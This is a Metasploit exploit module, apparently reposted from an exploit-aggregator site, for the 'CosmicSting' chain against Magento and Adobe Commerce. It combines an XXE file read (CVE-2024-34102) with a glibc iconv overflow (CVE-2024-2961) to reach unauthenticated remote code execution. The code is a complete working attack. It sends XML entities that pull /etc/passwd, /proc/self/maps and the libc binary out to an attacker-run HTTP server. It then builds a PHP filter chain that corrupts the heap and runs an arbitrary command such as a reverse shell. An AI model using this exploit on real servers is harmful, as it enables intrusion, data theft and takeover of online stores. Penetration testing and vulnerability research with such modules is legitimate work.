Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-MAGENTO_XXE_TO_GLIBC_BUF_OVERFLOW-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Retry
  prepend Msf::Exploit::Remote::AutoCheck
  require 'elftools'

  class ProcSelfMapsError < StandardError; end

  PAD = 20
  HEAP_SIZE = 2 * 1024 * 1024
  BUG = 'ๅŠ„'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)',
        'Description' => %q{
          This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)
          allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and
          earlier if the PHP and glibc versions are also vulnerable:
          - 2.4.7 and earlier
          - 2.4.6-p5 and earlier
          - 2.4.5-p7 and earlier
          - 2.4.4-p8 and earlier

          Vulnerable PHP versions:
          - From PHP 7.0.0 (2015) to 8.3.7 (2024)

          Vulnerable iconv() function in the GNU C Library:
          - 2.39 and earlier

          The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:
          CVE-2024-34102 is an XML External Entity vulnerability leveraging  PHP filters to read arbitrary files from the target
          system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.
          The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use
          of later in the chain.

          With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961
          can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a
          payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.
        },
        'Author' => [
          'Sergey Temnikov', # CVE-2024-34102 Discovery
          'Charles Fol',     # CVE-2024-2961 Discovery + RCE PoC
          'Heyder',          # module for CVE-2024-34102
          'jheysel-r7'       # module
        ],
        'References' => [
          [ 'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'],
          [ 'URL', 'https://sansec.io/research/cosmicsting'],
          [ 'URL', 'https://www.ambionics.io/blog/iconv-cve-2024-2961-p1'],
          [ 'URL', 'https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py'], # PoC this module is based on
          [ 'CVE', '2024-2961'],
          [ 'CVE', '2024-34102']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w[linux unix],
        'Privileged' => false,
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
              # Tested with cmd/linux/http/x64/meterpreter_reverse_tcp
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-07-26', # The date the PoC for this exploit was made public
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),
        OptInt.new('DOWNLOAD_FILE_TIMEOUT', [ true, 'The amount of time to wait for the XXE to return the file requested', 10]),
      ]
    )
  end

  def check_magento
    etc_password = download_file('/etc/passwd')
    vprint_status('Attempting to download /etc/passwd')
    if etc_password.nil?
      CheckCode::Safe('Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).')
    else
      CheckCode::Vulnerable('Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.')
    end
  end

  def check_php_rce_requirements
    text = Rex::Text.rand_text_alpha(50)
    base64 = Rex::Text.encode_base64(text)
    path1 = "data:text/plain;base64,#{base64}"

    result1 = download_file(path1)
    if result1 == text
      vprint_good('The data wrapper is working')
    else
      return CheckCode::Safe('The data:// wrapper does not work')
    end

    text = Rex::Text.rand_text_alpha(50)
    base64 = Rex::Text.encode_base64(text)
    path2 = "php://filter//resource=data:text/plain;base64,#{base64}"
    result2 = download_file(path2)

    if result2 == text
      vprint_good('The filter wrapper is working')
    else
      return CheckCode::Safe('The php://filter/ wrapper does not work')
    end

    text = Rex::Text.rand_text_alpha(50)
    compressed_text = compress(text)
    base64 = Base64.encode64(compressed_text).gsub("\n", '')

    path = "php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}"
    result3 = download_file(path)
    if result3 == text
      vprint_good('The zlib extension is enabled')
    else
      CheckCode::Safe('The zlib extension is not enabled')
    end
    CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.')
  end

  def check_libc_version
    begin
      @libc_binary = get_libc
    rescue ProcSelfMapsError => e
      return CheckCode::Unknown("There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")
    end

    return CheckCode::Unknown('Unable to download the glibc binary from the target which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary

    # A string similar to the following should appear in the binary: "GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36."
    printable_strings = @libc_binary.scan(/[[:print:]]{20,}/).map(&:strip)

    libc_version = nil

    printable_strings.each do |string|
      if string =~ /GNU\s+C\s+Library.*version\s+(\d\.\d+)/
        libc_version = Rex::Version.new(Regexp.last_match(1))
        break
      end
    end

    CheckCode::Unknown('Unable to determine the version of libc') unless libc_version

    if libc_version > Rex::Version.new('2.39')
      CheckCode::Safe("glibc version is not vulnerable: #{libc_version}")
    end

    CheckCode::Appears("Exploit precondition 3/3 met: glibc is version: #{libc_version}")
  end

  def check
    setup_module
    print_status('module setup')
    magento_checkcode = check_magento
    return magento_checkcode unless magento_checkcode.code == 'vulnerable'

    print_good(magento_checkcode.reason)

    php_checkcode = check_php_rce_requirements
    return php_checkcode unless php_checkcode.code == 'appears'

    print_good(php_checkcode.reason)

    libc_version_checkcode = check_libc_version
    return libc_version_checkcode unless libc_version_checkcode.code == 'appears'

    print_good(libc_version_checkcode.reason)
    CheckCode::Appears
  end

  def download_file(file)
    @filter_path = "php://filter/convert.base64-encode/convert.base64-encode/resource=#{file}"
    @target_file = file
    @file_data = nil

    send_path(@filter_path)
    retry_until_truthy(timeout: datastore['DOWNLOAD_FILE_TIMEOUT']) do
      break if @file_data
    end
    @file_data
  end

  def send_path(path)
    @filter_path = Rex::Text.encode_base64(path)

    vprint_status('Sending XXE request')
    vprint_status("Filter path being sent: #{@filter_path}")

    system_entity = Rex::Text.rand_text_alpha_lower(4..8)

    xml = "<?xml version='1.0' ?>"
    xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"
    xml += '['
    xml += "  <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"
    xml += "    <!ENTITY % #{system_entity} SYSTEM \"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_file}/#{@filter_path}\"> %#{system_entity}; %#{@xxe_param};  "
    xml += ']'
    xml += "> <r>&#{@xxe_exfil};</r>"

    json = {
      address: {
        totalsReader: {
          collectorList: {
            totalCollector: {
              sourceData: {
                data: xml,
                options: 524290
              }
            }
          }
        }
      }
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{Rex::Text.rand_text_alpha(32)}/estimate-shipping-methods"),
      'ctype' => 'application/json',
      'data' => JSON.generate(json)
    })

    res
  end

  def find_main_heap(regions)
    # Any anonymous RW region with a size greater than the base heap size is a candidate.
    # The heap is at the bottom of the region.
    heaps = regions.reverse.each_with_object([]) do |region, arr|
      next unless region[:permissions] == 'rw-p' &&
                  region[:stop] - region[:start] >= HEAP_SIZE &&
                  (region[:stop] & (HEAP_SIZE - 1)).zero? &&
                  ['', '[anon:zend_alloc]'].include?(region[:path])

      arr << (region[:stop] - HEAP_SIZE + 0x40)
    end

    if heaps.empty?
      raise ProcSelfMapsError, "Unable to find PHP's main heap in memory by parsing /proc/self/maps"
    end

    first = heaps[0]

    if heaps.size > 1
      heap_addresses = heaps.map { |heap| "0x#{heap.to_s(16)}" }.join(', ')
      vprint_status("Potential heaps: [i]#{heap_addresses}[/] (using first)")
    else
      vprint_status("Using [i]0x#{first.to_s(16)}[/] as heap")
    end

    vprint_good('Successfully extracted the location in memory of the PHP heap')
    first
  end

  def get_libc_region(regions, *names)
    libc_region = regions.find do |region|
      names.any? { |name| region[:path].include?(name) }
    end

    unless libc_region
      raise ProcSelfMapsError, 'Unable to locate libc region in /proc/self/maps'
    end

    vprint_good("Successfully located the libc region in memory: #{libc_region}")
    libc_region
  end

  def get_libc
    @regions ||= get_regions
    @info['heaps'] = find_main_heap(@regions)
    @libc_region ||= get_libc_region(@regions, 'libc-', 'libc.so')
    download_file(@libc_region[:path])
  end

  def get_symbols_and_addresses
    begin
      @libc_binary ||= get_libc
    rescue ProcSelfMapsError => e
      fail_with(Failure::UnexpectedReply, "There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")
    end
    fail_with(Failure::UnexpectedReply, 'Unable to download the glibc binary, which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary

    # ELFFile expects a file, instead of writing it to disk use StringIO
    libc_binary_file = StringIO.new(@libc_binary)
    elf = ELFTools::ELFFile.new(libc_binary_file)
    symtab_section = elf.section_by_name('.dynsym')
    symbols = symtab_section.symbols

    @info['__libc_malloc'] = nil
    @info['__libc_system'] = nil
    @info['__libc_realloc'] = nil

    symbols.each do |symbol|
      if ['__libc_malloc', '__libc_system', '__libc_realloc'].include? symbol.name
        @info[symbol.name] = symbol.header.st_value.to_i + @libc_region[:start]
      end
    end

    fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['__libc_malloc'] && @info['__libc_system'] && @info['__libc_realloc']
    vprint_status("__libc_malloc: #{@info['__libc_malloc']}")
    vprint_status("__libc_system: #{@info['__libc_system']}")
    vprint_status("__libc_realloc: #{@info['__libc_realloc']}")
  end

  def get_regions
    # Obtains the memory regions of the PHP process by querying /proc/self/maps.
    maps = download_file('/proc/self/maps')
    raise ProcSelfMapsError, '/proc/self/maps was unable able to be downloaded' if maps.blank?

    maps = maps.force_encoding('UTF-8')
    pattern = /^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.+)$/
    regions = []

    # Example lines from: /proc/self/maps
    # 712eebe00000-712eec000000 rw-p 00000000 00:00 0                          [anon:zend_alloc]
    # 712ef14aa000-712ef14ab000 rw-p 00007000 00:59 2144348                    /opt/bitnami/apache/modules/mod_mime.so
    maps.each_line do |region|
      if (match = pattern.match(region))
        start_addr = match[1].to_i(16)
        stop_addr = match[2].to_i(16)
        permissions = match[3]
        path = match[4]

        if path.include?('/') || path.include?('[')
          path = path.split(' ', 4).last
        else
          path = ''
        end

        current = {
          start: start_addr,
          stop: stop_addr,
          permissions: permissions,
          path: path
        }

        regions << current
      else
        raise ProcSelfMapsError, '/proc/self/maps is unparsable'
      end
    end
    vprint_good('Successfully downloaded /proc/self/maps and parsed regions')
    regions
  end

  def compress(data)
    # Compress the data and remove the 2-byte header and 4-byte checksum
    compressed_data = Zlib::Deflate.deflate(data, Zlib::BEST_COMPRESSION)
    compressed_data[2..-5]
  end

  def compressed_bucket(data)
    # Returns a chunk of size 0x8000 that, when dechunked, returns the data.
    chunked_chunk(data, 0x8000)
  end

  def qpe(data)
    # Emulates quoted-printable-encode.
    data.bytes.map { |x| sprintf('=%02X', x) }.join
  end

  def ptr_bucket(*ptrs, size: nil)
    # Raise an error if size is specified and doesn't match the expected length
    if size && ptrs.length * 8 != size
      fail_with(Failure::BadConfig, 'Size must match the length of pointers in ptr_bucket method')
    end

    bucket = ptrs.map { |ptr| p64(ptr) }.join
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    bucket
  end

  def p64(value)
    [value].pack('Q') # Pack as 64-bit little-endian
  end

  def chunked_chunk(data, size = nil)
    if size.nil?
      size = data.bytesize + 8
    end
    keep = data.bytesize + 2 # for "\n\n"
    hex_size = data.bytesize.to_s(16)
    padded_hex_size = hex_size.rjust(size - keep, '0')
    "#{padded_hex_size}\n#{data}\n".b
  end

  def build_exploit_path
    addr_free_slot = @info['heaps'] + 0x20
    addr_custom_heap = @info['heaps'] + 0x0168
    addr_fake_bin = addr_free_slot - 0x10

    cs = 0x100

    # Pad needs to stay at size 0x100 at every step
    pad_size = cs - 0x18
    pad = "\x00" * pad_size
    3.times { pad = chunked_chunk(pad, pad.length + 6) }
    pad = compressed_bucket(pad)

    step1_size = 1
    step1 = "\x00" * step1_size
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, cs)
    step1 = compressed_bucket(step1)

    # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
    # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

    step2_size = 0x48
    step2 = "\x00" * (step2_size + 8)
    step2 = chunked_chunk(step2, cs)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = "0\n".ljust(step2_size, "\x00") + p64(addr_fake_bin)
    step2_write_ptr = chunked_chunk(step2_write_ptr, cs)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3_size = cs

    step3_overflow = ("\x00" * (step3_size - BUG.bytes.length) + "\xe5\x8a\x84") # BUG bytes
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4_size = cs
    step4 = '=00' + "\x00" * (step4_size - 1)
    3.times { step4 = chunked_chunk(step4) }
    step4 = compressed_bucket(step4)

    step4_pwn = ptr_bucket(
      0x200000,
      0,
      # free_slot
      0,
      0,
      addr_custom_heap, # 0x18
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      @info['heaps'], # 0x140
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      size: cs
    )

    step4_custom_heap = ptr_bucket(@info['__libc_malloc'], @info['__libc_system'], @info['__libc_realloc'], size: 0x18)
    step4_use_custom_heap_size = 0x140

    # Fetch payloads run the payload in the background and results in multiple sessions being returned.
    # If we prevent the payload from running in the background and kill the parent process after the payload completes
    # running successfully we ensure only one session gets returned and improves the stability allowing the exploit to
    # be run consecutively without issue.
    if payload.encoded.ends_with?(' &')
      command = "#{payload.encoded}& kill -9 $PPID"
    else
      command = "#{payload.encoded} && kill -9 $PPID"
    end

    command = (command + "\x00").b
    command = command.ljust(step4_use_custom_heap_size, "\x00".b)

    vprint_status("COMMAND: #{command}")

    step4_use_custom_heap = command
    step4_use_custom_heap = qpe(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

    pages = ((step4 * 3) + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + (pad * PAD) + (step1 * 3) + step2_write_ptr + (step2 * 2))

    resource = compress(compress(pages))
    resource = Base64.encode64(resource.b)
    resource = "data:text/plain;base64,#{resource.gsub("\n", '')}"

    filters = [
      # Create buckets
      'zlib.inflate',
      'zlib.inflate',
      # Step 0: Setup heap
      'dechunk',
      'convert.iconv.latin1.latin1',
      # Step 1: Reverse FL order
      'dechunk',
      'convert.iconv.latin1.latin1',
      # Step 2: Put fake pointer and make FL order back to normal
      'dechunk',
      'convert.iconv.latin1.latin1',
      # Step 3: Trigger overflow
      'dechunk',
      'convert.iconv.UTF-8.ISO-2022-CN-EXT',
      # Step 4: Allocate at arbitrary address and change zend_mm_heap
      'convert.quoted-printable-decode',
      'convert.iconv.latin1.latin1',
    ]

    filters_string = filters.join('/')

    "php://filter/#{filters_string}/resource=#{resource}"
  end

  def setup_module
    @url_file = Rex::Text.rand_text_alpha_lower(4..8)
    @url_data = Rex::Text.rand_text_alpha_lower(4..8)
    @xxe_param = Rex::Text.rand_text_alpha_lower(4..8)
    @xxe_exfil = Rex::Text.rand_text_alpha_lower(4..8)
    @info = Hash.new
    @module_setup_complete = true

    if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'
      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
    end

    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => '/'
      },
      'ssl' => false
    })
    print_status('Server started')
  end

  def exploit
    setup_module unless @module_setup_complete
    fail_with(Failure::BadConfig, 'Payload is too big') if payload.encoded.length >= 0x140 # step4_use_custom_heap_size
    print_status('Attempting to parse libc to extract necessary symbols and addresses')
    get_symbols_and_addresses
    print_status('Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps')
    path = build_exploit_path
    print_status('Sending payload...')
    send_path(path)
  end

  def cleanup
    # Clean and stop HTTP server
    if service
      begin
        service.remove_resource(datastore['URIPATH'])
        service.deref
        service.stop
        self.service = nil
      rescue StandardError => e
        print_error("Failed to stop http server due to #{e}")
      end
    end
    super
  end

  def on_request_uri(cli, req)
    super
    url_parts = req.uri.split('/')
    case url_parts[1]
    when @url_file
      path = Rex::Text.decode_base64(url_parts[2])
      data = Rex::Text.rand_text_alpha_lower(4..8)
      response = "
<!ENTITY % #{data} SYSTEM \"#{path}\">
<!ENTITY % #{@xxe_param} \"<!ENTITY #{@xxe_exfil} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_data}/%#{data};'>\">"
      send_response(cli, response)
    when @url_data
      @file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, '')))
      send_response(cli, '')
    else
      print_bad('Server received an unexpected request.')
    end
  end
end